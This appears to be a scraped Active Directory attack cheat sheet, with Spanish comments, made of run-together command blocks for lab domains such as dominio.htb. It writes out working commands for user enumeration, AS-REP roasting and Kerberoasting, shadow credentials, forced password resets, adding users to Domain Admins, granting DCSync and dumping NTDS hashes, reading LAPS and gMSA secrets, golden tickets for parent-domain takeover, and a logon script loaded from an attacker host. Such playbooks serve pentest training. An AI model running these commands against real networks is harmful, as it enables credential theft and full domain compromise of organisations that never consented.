Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...



impacket-GetUserSPNs -no-preauth 'usuarioASREP' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.10 2>/dev/null# User/Password Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
# Pass-the-Hash (PtH) Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
# Kerberos Authentication (.ccache)
bloodyAD --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10
## Kerberos Authentication (.ccache) ##
powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10
# Command to use
Add-DomainGroupMember -Identity 'targetGroup' -Members 'targetUser'# User/Password Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
# Pass-the-Hash (PtH) Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10# User/Password Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
# Pass-the-Hash (PtH) Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10# Create add-user-to-group.ldif indicating the DN (of the targetGroup) and the member to add
❯ cat add-user-to-group.ldif
dn: CN=targetGroup,CN=USERS,DC=DOMAIN,DC=HTB
changetype: modify
add: member
member: CN=VICTIM,CN=USERS,DC=DOMAIN,DC=HTB
# Execute command
❯ ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!' -f add-user-to-group.ldif
# Oneliner alternative method without .ldif
printf 'dn: CN=targetGroup,CN=USERS,DC=domain,DC=htb\nchangetype: modify\nadd: member\nmember: CN=VICTIM,CN=USERS,DC=domain,DC=htb\n' | ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!'# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
## Kerberos Authentication (.ccache) ##
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
# Command to use
add_user_to_group targetUser targetGroupnet group 'targetGroup' 'targetUser' /add /domain# User/Password Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
# Pass-the-Hash (PtH) Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
# Kerberos Authentication (.ccache)
.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'NSrpcenum -e DUsers -i 10.10.10.10# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.
for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'# Fuerza bruta para enumerar usuarios a través de Kerberos mediante un diccionario
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# Validar si usuarios son válidos a nivel de dominio con un listado de posibles usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb possible_users.txtnxc smb 10.10.10.10 -u 'guest' -p '' --rid-brutenxc ldap dc.dominio.htb -u users.txt -p '' -kridenum 10.10.10.10 500 10000 guest ''# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass
# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'# Enumerar el LDAP entero y quedarnos solamente con los nombres de los usuarios
ldapdomaindump -u 'dominio.htb\user' -p 'password' 10.10.10.10 -o ldap; cd ldap; echo; cat domain_users.grep | awk '{print $1}' | tail -n +2rpcenum -e DUsers -i 10.10.10.10 -u 'user' -p 'password'# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. Necesario disponer de credenciales.
for i in $(seq 1000 1500); do rpcclient -U "user%password" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'# Obtener usuarios del dominio a través de RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute
# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'
# Enumeración de usuarios a través de LDAP
nxc ldap 10.10.10.10 -u 'user' -p 'password' --users# Enumeración de usuarios con lookupsid con credenciales válidas.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10
# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10| grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'# Enumeración de todos los usuarios del DA a través de autenticación simple (NTLM)
ldapsearch -H ldap://10.10.10.10 -D 'user@dominio.htb' -w 'password' -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'
# Enumeración de todos los usuarios del DA a través de autenticación Kerberos
ldapsearch -H ldap://dc.dominio.htb -Y GSSAPI -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'# AS-REP Roast desde impacket-GetNPUsers
impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
# AS-REP Roast a través de impacket-GetNPUsers y un bucle while
while read username; do impacket-GetNPUsers dominio.htb/"$username" -request -no-pass -dc-ip 10.10.10.10 >> hashes.txt; done < users.txt 2>/dev/null
# AS-REP Roast a través de netexec
netexec ldap 10.10.10.10 -u users.txt -p '' --asreproast hashes.txt# Kerberoasting Attack a través de impacket-GetUserSPNs autenticación básica
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request 2>/dev/null
# Kerberoasting Attack a través de autenticación de Kerberos (disponer de ticket TGT en KRB5CCNAME)
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
# Kerberoasting Attack realizando PassTheHash
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -hashes :<NTLM_HASH> -request 2>/dev/null
# Kerberoasting Attack a través de netexec
netexec ldap 10.10.10.10 -u 'user' -p 'password' --kerberoasting output.txt


Import-Module .\PowerView.ps1
Get-DomainUser -SPN -Domain CORP.LOCAL | select SamAccountName.\Rubeus.exe kerberoast /domain:CORP.LOCAL /user:mssqlsvc /nowrapPS C:\> Import-Module .\PowerView.ps1
PS C:\> Get-DomainForeignGroupMember -Domain CORP.LOCAL
GroupDomain : CORP.LOCAL
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=CORP,DC=LOCAL
MemberDomain : CORP.LOCAL
MemberName : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=CORP,DC=LOCAL
PS C:\> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500
CORPORATE\administratorPS C:\htb> Enter-PSSession -ComputerName DC03.CORP.LOCAL -Credential CORPORATE\administrator
[DC03.CORP.LOCAL]: PS C:\Users\administrator.CORPORATE\Documents> whoami
inlanefreight\administrator
[DC03.CORP.LOCAL]: PS C:\Users\administrator.CORPORATE\Documents> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : DC03
Primary Dns Suffix . . . . . . . : CORP.LOCAL
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : CORP.LOCALGetUserSPNs.py CORP.LOCAL/user:'password' -request -target-domain CORPORATE.LOCAL -dc-ip 10.10.10.10





certipy-ad shadow auto -username 'attacker' -p 'Password01!' -account 'victim' -dc-ip 10.10.10.10certipy-ad shadow auto -username 'attacker' -hashes '01e97f85894e06a5ad698f624b9a7ee9' -account 'victim' -dc-ip 10.10.10.10certipy-ad shadow auto -k -no-pass -account 'victim' -dc-ip 10.10.10.10 -target DC01.domain.htb -dc-host DC01ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10ldap_shell domain.htb/attacker -hashes aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9 -dc-ip 10.10.10.10ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10get_ntlm victimbloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'bloodyAD --host dc.domain.htb -d domain.htb -k add shadowCredentials 'victim'python3 gettgtpkinit.py -cert-pem <file.cert.pem> -key-pem <file_priv.pem> domain.htb/victim <ticket.ccache>export KRB5CCNAME=$(pwd)/ticket.ccache
klistpython3 getnthash.py -key <key_step_2> domain.htb/victim# Asignar un SPN ficticio (cifs/gzzcoo) a la cuenta llamada 'target'.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'
# Conseguir el ticket TGS del usuario que hemos hecho Kerberoastable.
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request-user 'target'
# Dejar el SPN vacío sobre el usuario que habíamos vuelto Kerberostable.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName
---------------------------------------------------------------------------------------
# A través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'
# Proceso automático, asigna un SPN a los usuarios que disponga permisos, te da el ticket TGS y luego deja al usuario tal y como estaba.
python3 targetedKerberoast.py --dc-ip 10.10.10.10 -d dominio.htb -u 'user' -p 'password'# Asegurarse de que el usuario víctimo no disponga de SPN
Get-DomainUser 'victimuser' | Select serviceprincipalname
# Configurar el SPN al usuario víctima
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='cifs/gzzcoo'}
# Obtener el Kerberoast hash
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl
# Borrar el SPN del usuario víctima para dejarlo como estaba
$User | Select serviceprincipalname
Set-DomainObject -Identity 'victimuser' -Clear serviceprincipalname# Asignamos al usuario 'target' la flag de (DONT_REQ_PREAUTH)
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
# Solicitamos el ticket TGT del usuario AS-REP Roastable
impacket-GetNPUsers dominio.htb/target -no-pass 2>/dev/null
# Volvemos a la normalidad al usuario AS-REP Roastable
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f DONT_REQ_PREAUTH
---------------------------------------------------------------------------------------
# Desde PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'# NECESARIO DE IMPORTAR PowerView.ps1 Y ASREPRoast.ps1 EN EL EQUIPO WINDOWS VÍCTIMA
# Modificamos el userAccountControl (UAC) del usuario para volverlo AS-REP Roastable
Get-DomainUser username | ConvertFrom-UACValue
# Solicitamos el ticket TGT
Get-DomainUser username | ConvertFrom-UACValue
Get-ASREPHash -Domain dominio.htb -UserName username
# Dejamos por defecto el UAC del usuario
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser username | ConvertFrom-UACValue# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
---------------------------------------------------------------------------------------
# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain
# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'@ Asignamos al usuario 'target' que ejecute un script malicioso ubicado en el mismo equipo víctima
Set-DomainObject -Identity 'target' -SET @{scriptpath='C:\ProgramData\test\test.ps1'}# Disponemos de permisos de GenericAll sobre el grupo, por lo tanto nos agregamos a nosotros al grupo
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'Domain Admins' 'user'
# Añadir a usuario 'UserToAdd' a un grupo donde tenemos permisos de GenericAll
net rpc group ADDMEM 'GROUP TARGET' 'UserToAdd' -U 'user%password' -W dominio.htb -I 10.10.10.10
# Añadir usuario 'target' al grupo 'Group_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-DomainGroupMember -Identity 'Group_target' -Members 'target'net group 'GROUP TARGET' 'USER_TARGET' /add /domain# Teniendo permisos de WriteDACL sobre el dominio, podemos dar permisos de DCSync a cualquier usuario
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
# Una vez el usuario tenga los permisos de DCSync, hacemos un dump del NTDS.dit
impacket-secretsdump dominio.htb/'user':'password'@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-ntlm
# Volvemos a asignar al usuario víctima en el estado anterior
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'# Otorgar permisos de DCSync a la identidad 'user_target'
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=dominio,DC=htb' -Rights DCSync -PrincipalIdentity 'user_target' -Verbose -Domain dominio.htb# Con WriteDACL en un grupo, otorgamos a un usuario permisos de control total sobre el grupo
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'
# Quitamos el permiso de genericAll para dejarlo como antes
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'# Añadirnos al grupo con comandos nativos de Windows
net group 'GROUP_TARGET' 'user_target' /add /domain
# A través de PowerSploit para darnos permisos de WriteMember sobre el grupo
ADd-DomainObjectAcl -TargetIdentity 'GROUP_TARGET' -Rights WriteMembers -PrincipalIdentity 'user_target'# Nos convertimos en propietario del objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'
# Para garantizar el control total, al ser propietarios nos otorgamos genericAll sobre el objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'
-----------
# Convertir en propietario el usuario 'user_target' del objeto 'object_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'# Necesario de importar PowerView.ps1
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "object_target" -PrincipalIdentity 'user_target'
ADd-DomainObjectAcl -TargetIdentity 'object_target' -Rights WriteMembers -PrincipalIdentity 'user_target'# Leer la contraseña LAPS a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Leer la contraseña LAPS a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' -M laps
# Leer la contraseña LAPS a través de LAPSDumper
python3 laps.py -u 'user' -p 'password' -d dominio.htb# Leer la contraseña LAPS a través de PowerShell (comando nativo)
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# Leer la contraseña LAPS a través de Get-LAPSPasswords.ps1
Get-LAPSPasswords -DomainController 10.10.10.10 -Credential dominio.htb\user| Format-Table -AutoSize# Leer la contraseña GMSA a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword
# Leer la contraseña GMSA a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsa
# Leer la contraseña GMSA a través de gMSADumper
python3 gMSADumper.py -u 'user' -p 'password' -d dominio.htb
# Leer la contraseña GMSA a través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Get-GMSA# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
---------------------------------------------------------------------------------------
# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain
# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred# Nos otorgamos FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null
# Verificamos que disponemos de FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'read' -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/nullbloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'bloodyAD --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10Set-DomainUserPassword -Identity 'victim' -AccountPassword 'NewPassword12'impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -altpass 'Password01!' -dc-ip 10.10.10.10impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -althash '01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10impacket-changepasswd domain.htb/victim@dc.domain.htb -newpass 'NewPass01!' -reset -altuser 'attacker' -k -no-pass -dc-ip 10.10.10.10nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10change_password victim 'NewPass123!'rpcclient -U 'attacker%Password01!' 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'rpcclient -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'Password01!' -S 10.10.10.10net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -S 10.10.10.10pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%Password01!' -S 10.10.10.10pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%afac881b79a524c8e99d2b34f438058b' --pw-nt-hash -S 10.10.10.10use auxiliary/admin/ldap/change_password
set rhosts 10.10.10.10
set domain domain.htb
set username attacker
set password Password01!
set target_user victim
set new_password NewPass123!
run.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'powershell -ep bypass
Import-Module .\PowerView.ps1
$user = 'DOMAIN\attacker';
$pass= ConvertTo-SecureString 'AttackerPwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\victim' -AccountPassword $newpass -Credential $creds;lsadump::setntlm /server:domain.htb /user:victim/password:NewPass123!net user victim NewPass123! /domainImport-Module ActiveDirectory
Set-ADAccountPassword -Identity victim -NewPassword (ConvertTo-SecureString 'NewPass12!' -AsPlainText -Force) -Resetsudo apt install bloodyad -y# Autenticación básica
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password'
# Autenticación mediante Kerberos (hay que exportar antes el TGT en el KRB5CCNAME)
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI# AS-REP Roasting a través de un listado de usuarios en 'users.txt'
impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
# AS-REP Roasting para un usuario en concreto
impacket-GetNPUsers dominio.htb/usuer -no-pass 2>/dev/null.\mimikatz.exe "lsadump::dcsync /user:CHILD\krbtgt" exitImport-Module .\PowerView.ps1
Get-DomainSIDGet-DomainGroup -Domain PARENT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid.\mimikatz.exe "kerberos::golden /user:hacker /domain:CHILD.PARENT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt" exit.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /pttklist.\mimikatz.exe "lsadump::dcsync /user:PARENT\Administrator /domain:PARENT.LOCAL" exitsecretsdump.py child.parent.local/user:'password'@192.168.14.122 -just-dc-user CHILD/krbtgtlookupsid.py child.parent.local/user:'password'@192.168.14.122 | grep "Domain SID"lookupsid.py child.parent.local/user:'password'@192.168.14.5 | grep -B12 "Enterprise Admins"ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain CHILD.PARENT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hackerexport KRB5CCNAME=$(pwd)/hacker.ccachepsexec.py CHILD.PARENT.LOCAL/hacker@dc01.parent.local -k -no-pass -target-ip 192.168.14.5raiseChild.py -target-exec 192.168.14.5 CHILD.PARENT.LOCAL/user:'password'ldapsearch -x -H ldap://10.10.10.10 -s base | grep defaultNamingContextldapsearch -x -H ldap://10.10.10.10 -b "dc=domain,dc=htb" | grep -ie "pwd\|password"ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b 'dc=domain,dc=htb' "(info=*)" infoldapsearch -x -H ldap://10.10.10.10 -D user@domain.htb -w 'password' -b 'dc=domain,dc=htb' '(objectClass=computer)' ms-MCS-AdmPwd# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)"# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)"# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*god)"
